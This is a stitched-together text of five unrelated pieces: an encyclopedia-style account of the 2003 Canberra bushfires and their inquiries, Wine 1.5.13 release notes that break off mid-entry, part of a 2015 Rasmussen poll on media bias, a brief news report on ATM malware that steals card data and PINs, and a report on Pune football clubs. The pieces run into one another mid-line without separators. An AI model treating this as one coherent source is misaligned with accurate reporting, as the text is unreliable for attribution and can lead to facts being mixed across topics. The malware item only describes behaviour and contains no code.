By mid-afternoon, it had become apparent that the fires posed an immediate threat to the settlements near Canberra, such as Uriarra and Stromlo, as well as to the houses on the city's urban-bushland interface. A state of emergency was declared at 2.45 pm by the ACT's Chief Minister, Jon Stanhope.
The fires reached the urban area at 3 pm. The first emergency warning advisories were broadcast shortly after, on radio and television, with the advisories updated throughout the day. These advisories, accompanied by the Emergency Warning Signal stated that a significant "deterioration" of the fire situation in the ACT had occurred and placed several suburbs on alert to evacuate. As the day continued, these advisories advised the evacuation of several suburbs (also enforced by Police on the ground) and placed most suburbs of Canberra on some level of alert. By now, the fire had reached the fringes of many suburbs, was surrounding Tharwa, and threatened the historic Lanyon Homestead, which was hosting a wedding and protected by only a single fire truck.
By 3.50 pm, some houses were alight in the suburbs of Duffy and Chapman, with the loss of a home in Holder soon after. An ACT Fire Brigade unit, perceiving the fire from a vantage point in Fyshwick, overrode instructions by the radio controller to ignore the signs and remain where they were. The unit headed to Duffy, attempting to alert both controllers and residents to the imminent danger. That unit was caught in a fire front on Warragamba Avenue Duffy at around 4.10 pm, after having rescued at least two residents. Both the crew and residents were forced to flee the appliance when the fire struck.
Due to fire damage to infrastructure and extreme winds bringing down powerlines across the area, large parts of the city lost power. Fires also started in Giralang because of powerline problems. Evacuation centres were set up at four schools – Canberra College, Ginninderra College, Erindale College, and Narrabundah College. A dark cloud hung over the city, and, although it was not in danger, Parliament House was closed.
By 5 pm, houses were reported destroyed in Duffy, Chapman, Kambah, Holder, and Rivett, as well as in the small forestry settlement of Uriarra. It was later found that the first casualty of the fires, an elderly woman named Dorothy McGrath, had died at the nearby Stromlo Forestry Settlement.[12] Escape for residents was hampered by poor warning and by the settlement's location, surrounded by the pine forest. Fires in the Michelago area forced the closure of the Monaro Highway into Canberra. Fires spread through the Kambah Pool area and into the suburb of Kambah, causing damage to many homes and one of the ACT's primary Urban and Rural fire stations.
Fire spread through parkland, crossing the Tuggeranong Parkway and Sulwood Drive finally engulfing Mount Taylor. Within an hour, houses were also burning in Torrens, on the slopes of Mount Taylor, and in Weston. The fires by now had inflicted severe damage to the city's infrastructure. Power supplies were cut to several suburbs. These outages affected both the Emergency Services Bureau's own headquarters in Curtin and the Canberra Hospital (running on back-up generators), which was under intense pressure from people suffering burns and smoke inhalation. In Curtin, the ESA headquarters was in danger from the fires. With back-up power available only to the Communications Centre, many personnel were forced to work on tables outside as Army Reserve personnel hosed down the building.[13] It was later noted that the ESB could have moved its operations away from danger to other emergency service locations such as the AFP Winchester Centre or Tuggeranong Police Station.[13] Water, gas, sewerage, and communications were heavily affected. Water, gas, and landline communications was unavailable to several suburbs due to damage to supply lines and city reservoirs. Mobile telecommunications were severely affected due to increased traffic, causing serious disruption to mobile phone networks and the ESA's own radio and dispatch networks. A local generator services business later reported on their website that the ash and smoke were so intense, that some back-up power diesel generators at communication and data centres failed to produce enough power due to air intake filters clogging up. At least one generator air intake filter burned as it sucked in burning leaves blowing in the strong winds.
The fires impacted part of the Lower Molonglo Water Quality Control Centre (LMWQCC), responsible for treating the city's sewage and waste water before its release into the Molonglo River. The plant's operations were disrupted due to fire damage, causing concern about the possible release of sewage into the Molonglo River, as the plant's reserve storage could only hold one day of surplus. However, the lack of resources and equipment failures for crews protecting the plant could have led to a catastrophe, as detailed in Danny Camilleri's testimony in Coroner Maria Doogan's subsequent inquest into the fires. Camilleri testified that his crews arrived to find much of the area around the plant on fire, with a significant risk of the fire endangering dangerous substances stored at the plant to treat waste, including chlorine.[14] He stated that if the fire had caused a breach in the chlorine tanks, it would have created "a poisonous cloud that would blow toward Canberra necessitating mass evacuations".[14]
By 10 pm, one of the four evacuation centres in Canberra was completely full, and the others were filling up quickly. Reports of looting also began to arrive from the damaged areas. Both Prime Minister John Howard and Governor General Peter Hollingworth changed their plans to return to Canberra as soon as was possible.[clarification needed] While the very worst of the fires had passed, the situation was still far from stable, and going into Sunday, 19 January, houses were still ablaze across numerous suburbs.
Aftermath [ edit ]
NASA photo of south-eastern Australia, showing fires which were still burning, 22 January
By the evening of 19 January, it was clear that the worst-hit suburb was Duffy, where 200+ residences were destroyed,[15] and that four people had died: Alison Tener, 38, Peter Brooke, 74, and Douglas Fraser, 60, and Dorothy McGrath, 76, of the Mount Stromlo Forestry Settlement.[16][17] The loss of life, damage to property, and destruction of forests to the west of the city caused not just economic loss but significant social impacts.
Map showing the amount of the ACT burnt by the fires
Bushfires severely harmed the vegetation of the Cotter River Catchment and caused water quality problems in the three dams in the catchment: Corin, Bendora and Cotter Dams. For quite some time after the fires, turbidity in the water due to silt and ash from surrounding burnt-out forests meant Canberra had to rely on Googong Dam on the Queanbeyan River, which was not affected by the fires. Given the drought and existing water shortages, this effectively reduced Canberra's water reserves to around 15% for some time. An upgrade to the Stromlo Water Treatment Plant was subsequently required to allow extra filtration of water to cope with the diminished quality in the future.
As with any bushfire, the environment will take significant time to regenerate. Regeneration of vegetation was delayed by an ongoing drought in the region.
Mount Stromlo [ edit ]
Perhaps the most notable cultural and scientific loss caused by the fires was the damage to the scenic and renowned Mount Stromlo Observatory (headquarters of the Research School of Astronomy & Astrophysics of the Australian National University), which is estimated to be the source of a third of Australia's astronomical research.[18] Five historically significant telescopes were destroyed. Instrumentation and engineering workshops, the observatory's library, and the main administration buildings were consumed. The visitors' centre or "Exploratory" housing public exhibits and cafe escaped the fires unscathed, despite being on the edge of a steep gradient, which fires had roared up, and being only metres from the 74-inch (1.88 m) telescope, which was completely destroyed.
The insurance payment sought by the Australian National University (ANU), amounting to 75 million Australian dollars, could have become the largest insurance claim in Australian history. However, in August 2009, during trial in the ACT Supreme Court, the three insurance companies settled out of court, paying the ANU an undisclosed sum.[19] A related claim against ANU's insurance broker, Aon Risk Services Australia Ltd, for failing to renew insurance coverage on some structures, was also settled for an unstated amount in June 2011.[20]
Canberra artist Tim Wetherell was commissioned by ANU[21] to produce a sculpture from the ruins of the Mount Stromlo telescopes. The finished sculpture was named "The Astronomer" and installed in the Parliamentary Triangle, outside Questacon.
Official responses [ edit ]
Following the 2003 bushfires, the ACT and New South Wales and Australian governments initiated community and official responses to the fire.
Bushfire Recovery Taskforce [ edit ]
The Bushfire Recovery Taskforce was established to advise the ACT Government, provide leadership for the recovery, and act as a bridge between Government agencies and the community.
McLeod Inquiry [ edit ]
The ACT Government established the McLeod Inquiry to examine and report on the operational response to the bushfires. The Inquiry was headed by Ron McLeod, a former Commonwealth Ombudsman. The Inquiry handed down its findings on 1 August 2003.
The inquiry found that:
The fires, started by lightning strikes, might have been contained, had they been attacked more aggressively in the 24 hours after they broke out. Large stretches of dry, drought-affected vegetation and weather conditions that were extremely conducive to fire meant that once the fires reached a certain size, they were very difficult to control.
Management of fuel load in parks and adequate access to remote areas were both lacking.
Emergency service personnel performed creditably, but they were overwhelmed by the intensity of the fires and the unexpected speed of their advance on 18 January.
A comprehensive ACT Emergency Plan was in place at the time of the fire; it worked, particularly in recovery after the fires, in dealing with the large number of people who needed temporary shelter and assistance as a consequence of the fires.
Inadequacies in the physical construction and layout of the Emergency Services Bureau centre in Curtin were a hindrance. The centre was unable to handle efficiently the large amount of data and communications traffic into and out of the centre at the height of the crisis.
There were some equipment and resourcing deficiencies within the ACT's emergency service organisations.
Information and advice given to the community about the progress of the fires, the seriousness of the threat, and the preparations the public should be making was seriously inadequate. There was also confusion as to whether homes had to be evacuated.
The Inquiry recommended there should be increased emphasis given to controlled burning as a fuel-reduction strategy, access to and training of emergency personnel in remote areas needed to be improved and a number of changes be made to the emergency services and the policies that govern their operations, including a greater emphasis on provision of information to the public.
ACT Coroner's Bushfire Inquiry [ edit ]
The Coroner's inquiry commenced in January 2003, and hearing officially opened on 16 June 2003. The Coroner's Court of the Australian Capital Territory conducted an inquiry into the cause, origin, and circumstances of the 2003 bushfires and inquests into the four deaths associated with those fires. The inquiry was under the provisions of the ACT Coroners Act 1997.
The inquiry was marked by controversy, and in February 2005 the ACT Supreme Court heard an application that the coroner be disqualified due to bias. The inquiry into the fires was on hold until August 2005, when the Full Bench of the Supreme Court delivered its decision,[22] declaring that Coroner Maria Doogan should not be disqualified on the ground of a reasonable apprehension of bias. The inquiry reconvened on 17 August 2005.
After over 90 days of examining the evidence, the inquiry wrapped up on 25 October 2005. Although the inquiry was supposed to be completed in early 2006, submissions continued into mid-2006, with the Coroner delivering her findings, "The Canberra Firestorm",[23] in December 2006.
House Select Committee on the recent Australian bushfires [ edit ]
On 26 March 2003 the House of Representatives established a Select Committee to inquire into the recent Australian bushfires, including the Canberra bushfire. The committee tabled the report of its inquiry on 5 November 2003 and the Australian government presented its response to the report on 15 September 2005.
Fire tornado [ edit ]
The first documented case of a fire tornado in Australia was during the 2003 Canberra bushfire.[24] It was calculated to have horizontal winds of 250 km/h (160 mph) and vertical air speed of 150 km/h (93 mph), spawned by its own wind rotation from a pyrocumulonimbus cloud and causing the flashover of 120 hectares (300 acres) in 0.04 seconds.[25] It was also the first known fire tornado to have EF3 wind speeds on the Enhanced Fujita scale and the only known one until the 2018 Carr Fire in California.[26]
Bushfire memorial [ edit ]
ACT Bushfire Memorial in Duffy
On 18 January 2006, three years after the day of the bushfires, a bushfire memorial was opened on land which had been affected by the fires in Stromlo forest.[27]
The ACT Bushfire Memorial was commissioned by the ACT government to acknowledge the impact of the fires and thank the many organisations and individuals who played crucial roles in the fire fighting and recovery efforts.
The memorial was designed by Canberra artists Tess Horwitz, Tony Steel and Martyn Jolly and incorporates elements requested by the ACT community. It is a journey from the day of the fire, through the process of recovery, to the honouring of memory.
The entrance memorial walls are made from the community's salvaged bricks, which are inscribed with messages of grief and gratitude. Beyond the walls, a site framed by a grove of casuarinas contains red glass and metal forms, referring to the force of the firestorm and to the lightning strikes that sparked the main fires. An avenue leads to an amphitheatre enclosing a pond and bubbling spring. Glass columns bordering the pond contain details from photos provided by the community which speak of memory and human resilience.
On 18 February 2006, an independent group of fire victims installed a plaque to honour the four people who died in the fires and the volunteer firefighters who fought so hard. The plaque is located at the end of the walkway to the memorial, immediately before the memorial walls. Fire victims and residents held a simple ceremony to mark the occasion.
References [ edit ]Wine Announcement
The Wine development release 1.5.13 is now available. What's new in this release (see below for details): - Client-side window rendering using the DIB engine. - Raw input support for keyboard and mouse. - Support for transparent window areas using color keying. - Proper C++ RTTI support on 64-bit. - Implementation of logical processor information. - Support for fonts with localized names. - Various bug fixes. The source is available from the following locations: http://prdownloads.sourceforge.net/wine/wine-1.5.13.tar.bz2 http://mirrors.ibiblio.org/wine/source/1.5/wine-1.5.13.tar.bz2 Binary packages for various distributions will be available from: http://www.winehq.org/download You will find documentation on http://www.winehq.org/documentation You can also get the current source directly from the git repository. Check http://www.winehq.org/git for details. Wine is available thanks to the work of many people. See the file AUTHORS in the distribution for the complete list. ---------------------------------------------------------------- Bugs fixed in 1.5.13 (total 104): 6078 ICQ 5.1 fails to start (crashes) 6795 Skype 3.0.0.137 Beta dies trying to login in win98, winme mode 8826 Silent Hunter III: Fires and smoke visible only with view zoomed far out. 9509 Weak performance in System Shock 2 10086 SDL error causes some applications to crash 11178 Legacy 5 freezes on closing its data file. 11303 HtmlHelp causes problems in Elster 11641 winefile inappropriately launched instead of winebrowser with wine explorer <valid url> 12570 AutoCAD 2008 Register Today window contents not displayed 13066 Moving child window hangs X with flashing cursor 15886 In Kvirc the text cursor moves faster than the text is imputed if input is in Cyrillic, UTF-8 16013 xmllitesetup (subinstaller of IE7) fails to install 16122 Output area of a window moves twice as fast as the window itself 16500 Gothic 3 Forsaken Gods: Water textures not working 16641 Call of Duty 4 - Depth of field and soften smoke edges broken 17015 Sins of a Solar Empire: In-game fonts appear too large 17742 winhelp: some help chapters cannot be accessed at all inside a.hlp file 18014 Paraworld page fault when starting game 18351 QuickTimePlayer 7.55 unhandled exception 18771 Switching desktops or minimizing desktop makes application disappear 18931 Photoshop CS4 page fault on creating new file 19258 Adobe AIR can not be downloaded through Adobe Flash 19261 WebSlingPlayer IE doesn't work 19571 Adobe CS4 installers can not be closed with the X button 19572 Adobe CS4 installer's Quit window has no buttons most of the time 19598 Adobe Bridge CS4 causes a page fault 19600 Adobe Updater 6 crashes when clicking on "Show Details" 20395 Mouse / keyboard input not handled (RawInput) 20436 Toolbars in Photoshop CS3 do not render correctly with wine's gdiplus 21302 RVTMod7: Exception STATUS_ACCESS_VIOLATION 21447 Monopolie 0.9.7 does not run 21650 Crash in Ultima Online Stygian Abyss Installer 21947 IE7 for XP installer crashes in setupapi 21963 Maya 2010: can't register product, registration window is blank 23172 Photoshop CS4 page fault on load 23444 Internet Explorer crash when start 23615 Left 4 Dead 2 wont start 24119 WoW:Cataclysm installer complains about Insufficient CPU speed 24409 MaxIM DL 5 reports an error when opening files 24465 Installer of Adobe Photoshop CS4 bootstrapper fails 24482 Project64 fails to set display mode on subsequent attempts. 24890 Window transparency with LWA_COLORKEY is not supported. 26551 Nothing but white screen in Diner Dash 26553 Diner Dash games crash when taking them out of full screen 26571 WoW 4.x D3D: High quality water is broken 26660 Fairy Godmother installation hangs BFG client 26661 Big Fish Games client fails to validate some downloads 26749 in cmd, PATH=FOO should set PATH to FOO 26924 Calling UpdateLayeredWindowIndirect in multi-threaded apps might lead to freezes (Beta League of Legends Patcher, Tunatic,.NET 3.x/4.x WPF apps) 27189 Hydrophobia Prophecy wants GetLogicalProcessorInformation implemented 27770 Iexplore not show any message or dialog 27894 Inconsistent "for /L" parsing 27934 Inconsistent "for /D" parsing when using wildcards 28017 Adobe Reader X: Cannot print, error is "There were no pages selected to print" 28106 Skype 5.5: Page fault on read access after installing from.msi 28152 Heroes 6 Demo fails to find video card 28258 cmd/batch.ok fails under WINEDEBUG=warn+heap 28310 Microkey Millennium needing phoneInitialize, phoneGetMessage, and lineGetMessage functions 28322 err:service:service_send_command service protocol error - failed to write pipe! 28365 rmdir /s wrongly outputs "path not found" message when confirming a recursive directory deletion 28533 Google Earth graphics garbage 28536 MS Reader cannot be moved or closed after full-screen mode 28909 Internet Explorer 8 crashes on resetting settings - unimplemented function wininet.dll.DeleteWpadCacheForNetworks 29377 Tectia ssh client 6.1.5 unable to install 29420 Skyrim needs msvcp90.dll.??0?$basic_ifstream@_WU?$char_traits@_W@std@@@std@@QAE@PB_WHH@Z 29453 Some game installers don't finish properly (cancels installation due to error) 30116 Internet Explorer 8 will not run 30152 Metatrader 5 Demo hangs during registration 30263 builtin iexplore does not display Chinese 30437 Acrobat X print functions fail after aborted install (worked around) 30519 Iexplore frame navigation doesn't work correctly 30534 rename in cmd.exe is not working across dir. 30567 Paltalk Messenger crashes on start (kernel32.OutputDebugStringA needs to cope with NULL pointer) 30610 64-bit JRE installer needs kernel32.dll _local_unwind and kernel32.dll _C_specific_handler 30690 no mouse or keyboard in orcs must die 30693 Mono: Could not load Mono into this process in Wine 1.5.4 30706 Sony USB Driver installer fails on unimplemented function setupapi.dll.SetupAddToSourceListA 30771 Comm port Properties missing Interval Timeouts capability 30965 Diablo III (installer): Progress bar stays at 0% 31085 Pulsen complains "A required *.pulsen file is missing" 31105.NET 3.x/4.x WPF based apps require windowscodecs.dll ComponentFactory_CreateBitmapFromSource 31287 Visual Studio 2005 Trial "Server Explorer" needs IWbemClassObject::GetObjectText when inspecting Management Classes 31312 HtmlHelp crashes when opening CHM file (take 2) 31339 Microsoft SQL Server 2005 Express Edition: SQL Server System Configuration Checker fails (needs class_object_SpawnInstance) 31466 Stunt Rally crashes on start, needs msvcp90.dll.?flush@std@@YAAAV?$basic_ostream@DU?$char_traits@D@std@@@1@AAV21@@Z 31503 Adobe Audition CS6 - Crash during UI paint at startup 31541 Microsoft SQL Server 2005 Express Edition installer fails due to unhandled exception 31569 UltraEdit crashes on startup in jscript 31573 Firefox 10 (plugin) needs msvcp80.dll.??0?$basic_ifstream@DU?$char_traits@D@std@@@std@@QAE@XZ 31590 AMD Radeon HD 7850 with 2GB video memory is recognized as Radeon HD 3200 with 128MB video memory. 31597 ZBrush 3.1 demo aborts on startup with unimplemented function vcomp.dll.omp_get_wtime 31601 Playchess pieces are missing 31604 Steam: Windows can not be closed, they are always opened again 31606 Operation Flaspoint GOTY 1.95 31627 iexplore is crashing when opening http://www.battlefieldheroes.com/de/ 31641 problem with client side rendering in certain games 31642 Algodoo demo needs msvcp90.dll.?ws@std@@YAAAV?$basic_istream@GU?$char_traits@G@std@@@1@AAV21@@Z (purist) 31645 Invisible selection rectangle in ListView control 31652.NET Framework Setup Verification Tool stopped working with dotnet20sp1 31667 Stunt Rally hangs after loading screen, may need msvcp90._Locinfo__Locinfo_ctor_cat_cst() 31689 Recent devel versions of WINE report "Not enough memory" on open or save document attempts in MS Office 2003 31690 Algodoo demo wants msvcp90.dll.?setiosflags@std@@YA?AU?$_Smanip@H@1@H@Z on exit (purist) 31691 Raw mouse input is erratic and/or causes major performance drops 31692 SQL Server 2000 manager: Tray icon displayed as solid black square ---------------------------------------------------------------- Changes since 1.5.12: Akihiro Sagawa (2): po: Update Japanese translation. user32: Add support for legacy access keys. Alexandre Julliard (43): winex11: Only create the client window when the pixel format is changed. winex11: Store the OpenGL drawable in a separate structure with its own context. winex11: Treat the client window as an OpenGL drawable. winex11: Move the GL drawable management to opengl.c. user32: Only show a window the first time WS_VISIBLE is toggled, to work around Steam's WM_SETREDRAW usage. server: Always repaint the whole non-client area if part of it is exposed. winex11: Create the whole window at window creation time. winex11: Store the rectangle of the GL drawable and use it when updating the window size. user32: Add a helper function to retrieve the virtual screen rectangle. gdi32: Let user32 specify the device rectangle when setting the visible region. gdi32: Add a graphics driver to render windows contents through the DIB engine. user32: Add support for managing a DIB surface for a window. user32: Maintain a list of active window surfaces and flush them periodically. winex11: Use window surfaces for rendering top-level windows. winex11: Handle Expose events by refreshing from the window surface. winex11: Check for changes in min/maximize state even when the window rectangle didn't change. winex11: Get the current pixel format from the drawable structure for wglSetPixelFormat. winex11: Store a drawable structure also for pbuffer contexts. winex11: Get the current pixel format from the drawable structure in wglGetPixelFormat. winex11: Store a format pointer instead of an index in the drawable structures. winex11: Get the current pixel format from the drawable structure in wglCreateContext. winex11: Get the current pixel format from the drawable structure in wglCreateContextAttribsARB. winex11: Get the current pixel format from the drawable structure in wglMakeCurrent. winex11: Get the current pixel format from the drawable structure in wglMakeContextCurrentARB. user32: Fix DrawFocusRect to always invert the destination regardless of the text color. comctl32: XOR'ing with a black pen is not useful. winex11: Get the information from the drawable structure in SwapBuffers. opengl32: Update the extension list. gdi32: Move the SwapBuffers entry point to the OpenGL driver. winex11: Move the fps tracing to opengl32. winex11: Add helper functions to retrieve drawable information for a window or DC. winex11: Disable client-side rendering for OpenGL windows. winex11: Remove support for icon windows, use a default icon instead. server: Ignore color-keyed windows when updating the z-order. user32: Check for the need to flush window surfaces every time a window finishes painting. winex11: Add support for the LWA_COLORKEY layered window attribute. winex11: Don't use a window surface for embedded windows. server: Don't trigger repaints on position changes for layered windows. user32: Don't send messages on position changes in UpdateLayeredWindow. user32: Refresh the frame when the style bits of a layered window are changed. user32/tests: Add some tests for UpdateLayeredWindow. mountmgr: Support udisks2 versions that store the uuid as an array. ddraw/tests: Allow the clip region to contain multiple rectangles. Alistair Leslie-Hughes (1): include: Add msdasc.idl. Andrew Eikum (2): advapi32: Consolidate helper function. advapi32: Implement CreateProcessAsUserA. Bernhard Übelacker (1): mshtml: Check parameter load_group before calling RemoveRequest. Chae Jong Bin (2): netapi32: Add stub for NetScheduleJobAdd. fltlib: Add stub for FilterUnload. Charles Davis (4): configure: Prefer stabs debug info on Mac OS. configure: Fix ipstat tests to work on Mac OS. d3dxof: Don't release a garbage object pointer (Clang). advapi32: Fix memory leak on Mac OS (Clang). Dan Kegel (5): msvcr100: Add wmemmove_s and wmemcpy_s. vcomp: Implement omp_get_wtime. vcomp: Add better stub for omp_get_num_procs. msvcp90: Handle npos as length in more places. vcomp: Better stub for _vcomp_set_num_threads. Daniel Jelinski (2): comctl32/listview: Do not draw unnecessary grid lines. comctl32: Invalidate correct rectangle for marquee selection. Dmitry Timoshkov (23): gdiplus: Add support for StringFormatFlagsNoClip. gdiplus: Add support for generic typographic string format. windowscodecs: Add more tests for PNG metadata. windowscodecs: Add a bunch of GIF metadata tests. include/wincodecsdk.idl: Fix a typo. include/wincodecsdk.idl: Add some missing metadata writer UIDs. windowscodecs: Add a bunch of tests for Logical Screen Descriptor metadata reader. windowscodecs: Add a bunch of tests for Image Descriptor metadata reader. windowscodecs: Add a bunch of tests for Graphic Control Extension metadata reader. windowscodecs: Correct name of the PNG text metadata reader. windowscodecs: Implement Logical Screen Descriptor metadata reader. windowscodecs: Implement Image Descriptor metadata reader. windowscodecs: Implement Graphic Control Extension metadata reader. windowscodecs: Make sure that all GIF metadata blocks are properly packed. windowscodecs: Create Logical Screen Descriptor metadata for the GIF decoder. windowscodecs: Implement GetContainerFormat for the TIFF metadata block reader. windowscodecs: Check guid pointer for NULL in TiffDecoder_GetContainerFormat. windowscodecs: Create Image Descriptor metadata block for a GIF frame. windowscodecs: Create Graphic Control Extension metadata block for a GIF frame. windowscodecs: Add a bunch of tests for GIF Application Extension metadata reader. windowscodecs: Add a bunch of tests for GIF Comment Extenstion metadata reader. windowscodecs: Fix calculation of GIF local color table size from decoder data. windowscodecs: Test GIF metadata using a specially created GIF image with a bunch of extensions. Erich Hoover (4): hhctrl.ocx: Implement HH_GET_WIN_TYPE. hhctrl.ocx: Properly show HTML Help dialogs without Tri-Pane display. hhctrl.ocx: Resize the window when HH_SET_WIN_TYPE is called. hhctrl.ocx: Do not permit a NULL caption for HtmlHelp windows. Francois Gouget (1): Assorted spelling fixes. Hans Leidekker (14): wbemprox: Get rid of a duplicate string constant. wbemprox: Add a function to query the service configuration. wbemprox: Add support for boolean values in get_value_bstr. wbemprox: Implement IWbemClassObject::GetObjectText. wbemprox: Implement Win32_ComputerSystem.DomainRole. wbemprox: Correctly report the number of logical processors. wbemprox: Add a function to retrieve the maximum processor clock speed. wbemprox: Implement IWbemClassObject::SpawnInstance. wbemprox: Add support for uncommitted instances in IWbemClassObject::Put. wbemprox: Support IClientSecurity on class objects. iphlpapi: Implement GetExtendedUdpTable. iphlpapi: Add partial support for UDP_TABLE_OWNER_MODULE in GetExtendedUdpTable. msi: Only remove a component if the number of clients drops to zero. msi: Don't reinstall components shared with other products. Henri Verbeet (29): wined3d: Get rid of wined3d_device_get_wined3d(). d3d10: Handle D3D10_SVT_UINT in read_int32_value() and read_int8_value(). d3d10: Improve a couple of debug messages. wined3d: Read complete shader instructions at a time. wined3d: Add type information to shader registers. wined3d: Just return the swapchain from wined3d_device_get_swapchain(). d3d10core: Update the MipLevels field after texture creation. wined3d: wined3d_device_set_index_buffer() never fails. wined3d: Just return the buffer from wined3d_device_get_index_buffer(). d3d10core: Store the resource in the d3d10core rendertarget view. wined3d: wined3d_device_set_viewport() never fails. wined3d: wined3d_device_get_viewport() never fails. user32: Implement RegisterRawInputDevices(). d3d10core: Implement d3d10_depthstencil_view_GetResource(). wined3d: wined3d_device_set_render_state() never fails. wined3d: wined3d_device_get_render_state() never fails. user32: Add rawinput mouse support. d3d10core: Implement d3d10_shader_resource_view_GetResource(). wined3d: wined3d_device_set_transform() never fails. wined3d: wined3d_device_get_transform() never fails. user32: Add rawinput keyboard support. d3d10core: Implement d3d10_depthstencil_view_GetDesc(). d3d10core/tests: Add a small test for ID3D10Device_CreateDepthStencilView(). wined3d: wined3d_device_set_base_vertex_index() never fails. server: Only remove WM_INPUT messages from the queue if PM_REMOVE is set. d3d10core: Implement d3d10_shader_resource_view_GetDesc(). d3d10core/tests: Add a small test for ID3D10Device_CreateShaderResourceView(). wined3d: wined3d_device_multiply_transform() never fails. wined3d: Just handle all instructions in the shader backend. Huw Davies (1): winspool: Skip scanner-only devices. Jacek Caban (51): urlmon: Added better debug traces for BINDSTATUS values. urlmon: Process pending tasks before exiting Start function. urlmon: Avoid direct notifications from callbacks from Read call. urlmon: Added more tests. jscript: Fixed argument conversion in disp_call_value when 'this' is specified. mshtml: Moved getting frame by name to separated function. mshtml: Open targeted anchors in existing frames if available. mshtml: Use nsIDOMWindowCollection::NamedItem in get_window_by_name. mshtml.idl: Added IHTMLIFrameElement2 and IHTMLIFrameElement3 declarations. mshtml: Added IHTMLIFrameElement2 stub implementation. mshtml: Added IHTMLIFrameElement3 stub implementation. mshtml: Properly expose frame and iframe element's windows to scripts. mshtml: Added IHTMLWindow2::onhelp property implementation. mshtml: Added IHTMLStyle::put_pixelWidth implementation. mshtml: Added IHTMLElement::contains implementation. jscript: Fixed empty cases in the end of switch statement. wininet: Set last error for invalid URL argument. vbscript: Fixed uninitialized opcode param in forto statement bytecode. vbscript: Renamed vbscode_t's variables to not suggest that they are global code-only. vbscript: Added IActiveScriptParseProcedure2::ParseProcedureText implementation. vbscript: Added IActiveScriptParseProcedure2::ParseProcedureText tests. mshtml: Added VBScript as event attribute tests. mshtml: Avoid duplicated string release in navigate_anchor. vbscript: Fixed class_desc_t leak. vbscript: Use separated IDispatchEx implementation for script dispatch. vbscript: Added ScriptDisp::GetDispID implementation. vbscript: Added ScriptDisp::InvokeEx implementation. vbscript: Added ScriptDisp tests. jscript: Be more verbose about parser failure. vbscript: Added support for DISPATCH_PROPERTYGET in invoke_variant_prop. mshtml: Use first script host's GUID as default script guid. mshtml: Check if value is function only when it needs to be in invoke_builtin_prop. vbscript: Added support for |
all voters say the news media focus too much on Trump and Clinton at the expense of the other presidential candidates. Just six percent (6%) think there is too little focus on the two front-runners. Twenty percent (20%) describe the level of media coverage as about right.
Seventy-five percent (75%) believe that when it comes to covering prospective presidential candidates, the media is more interested in creating controversies about them than it is in reporting where they stand on the issues.
(Want a free daily e-mail update? If it's in the news, it's in our polls). Rasmussen Reports updates are also available on Twitter or Facebook.
The survey of 1,000 Likely Voters was conducted on December 2-3, 2015 by Rasmussen Reports. The margin of sampling error is +/- 3 percentage points with a 95% level of confidence. Field work for all Rasmussen Reports surveys is conducted by Pulse Opinion Research, LLC. See methodology.
Seventy-one percent (71%) of voters believe that when covering a political campaign, most reporters try to help the candidate they want to win. Republicans and unaffiliated voters are more skeptical of the media than Democrats are.
That’s comparable to attitudes in 2012 just three months before Election Day and four years before that right before the 2008 election.
When it comes to the level of coverage given the two front-runners, Republicans and Democrats are in general agreement. Unaffiliated voters believe even more strongly that they receive too much coverage at the expense of the other candidates.
Men feel much more strongly than women that the media is biased against Trump. Most women agree the media is not biased against Clinton, but they don’t believe that as strongly as men do.
Voters of all ages tend to think the media is biased against Trump. Those under 40 are more likely than their elders to believe the media is also biased against Clinton, but younger voters still see the media as more biased against Trump than against Clinton.
But then voters in nearly all demographic categories see more bias against Trump than against Clinton.
Among voters who rate the current level of media focus as about right, 51% say the media is biased against Trump, but just 20% feel the media is biased against Clinton.
In a survey earlier this year, 55% of Republicans said they expect most reporters to try to help Clinton’s campaign. Just 17% of Democrats and 39% of unaffiliated voters agreed.
Media coverage of the immigration policies of Clinton and Trump is a case in point.
Just 23% of voters expect reporters to offer unbiased coverage of the 2016 presidential race. The Republican presidential debate in late October was a textbook example of the media bias voters have complained about in surveys for years.
Additional information from this survey and a full demographic breakdown are available to Platinum Members only.
Please sign up for the Rasmussen Reports daily e-mail update (it's free) or follow us on Twitter or Facebook. Let us keep you up to date with the latest public opinion news.Banks are being warned of trouble ahead after approximately 20 ATMs, mostly in Eastern Europe, were compromised. The ATMs running Microsoft's Windows XP operating system were infected with malware that captures magnetic strip data and PIN codes.
According to a report from Trustwave's SpiderLabs, the malware uses the strip data and PIN codes to access the private memory space of transaction-processing applications.
Advanced Management Functionality Built into the Malware
Attackers gain control over the ATMs by inserting specialized controller cards into the ATM's card reader. (Source: tgdaily.com)
Analysts don't think the malware is capable of sending harvested data to other remote locations over the Internet based on what they found on the infected ATMs already. That said, the malware does allow for the output of harvested data through the ATM's receipt printer, or by writing the data to an electronic storage device inserted into the ATM's card reader.
How the Malware Works
The malware is an executable that is installed through a "dropper file," called isadmin.exe. Once executed, the dropper file produces the lsass.exe malware file within the C:\WINDOWS directory and manipulates the Protected Storage service that normally handles the legitimate lsass.exe executable file to point to the newly created malware.
The malware also contains code that enables it to eject the cash dispensing cassette and is configured to automatically restart in the event that Windows crashes to make sure it remains active.
Eastern Europe Believed to be a Testing Ground
It's believed that the 20 hacked ATMs in Eastern Europe was an experiment before spreading the attacks to other ATMs, including those in the U.S.
Visit Bill's Links and More for more great tips, just like this one!Football in the Deccan city is set to suffer as two clubs are close to shutting their operations...
The All India Football Federation’s (AIFF) plan to promote the I-League has taken a severe blow with a seasoned and a fledgling club from Pune facing the dusk.
It is reliably learnt that the Ashok Piramal Group owned Red Lizards, who came into existence back in 2007 are set to discontinue their first team operations. The club was created to give an impetus to the sport of football in the city of Pune and kickstart a team that could compete on a national level professionally.
They are however, expected to continue their academy set-up which houses youngsters of three age groups – Under-19, Under-17 and Under-15.
According to sources, it is believed that the ownership were disillusioned with the state of Indian football. Despite having fulfilled the club licensing criterion and earning the reputation of one of the most professionally managed teams in the country, the management decided to pull plug on first team investment. It must be noted that Pune FC were also one of the first teams to aptly name the club after the city in the I-League era.
With next to zero revenue streams for clubs, lack of broadcasting rights and no marketing plan, it is believed that Pune FC’s owners recognized a lack of vision or a roadmap for Indian football as a whole, which led them to believe that investing further in top flight wouldn’t make sense.
The club remained unavailable for comment on the above developments.
On the other hand, Bharat FC who made their foray into the I-League last season after coming into existence less than an year back, haven’t yet finalized their plans for the upcoming 2015-16 season.
As reported earlier by Goal, the Lions of Pune are yet to sign a player on their roster.
With coach Stuart Watkiss in Pune since the end of last month, there has been no progress on recruitment front and several of the club’s staff, including CEO Suvrat Thatte have already put in their papers, Goal can reveal.
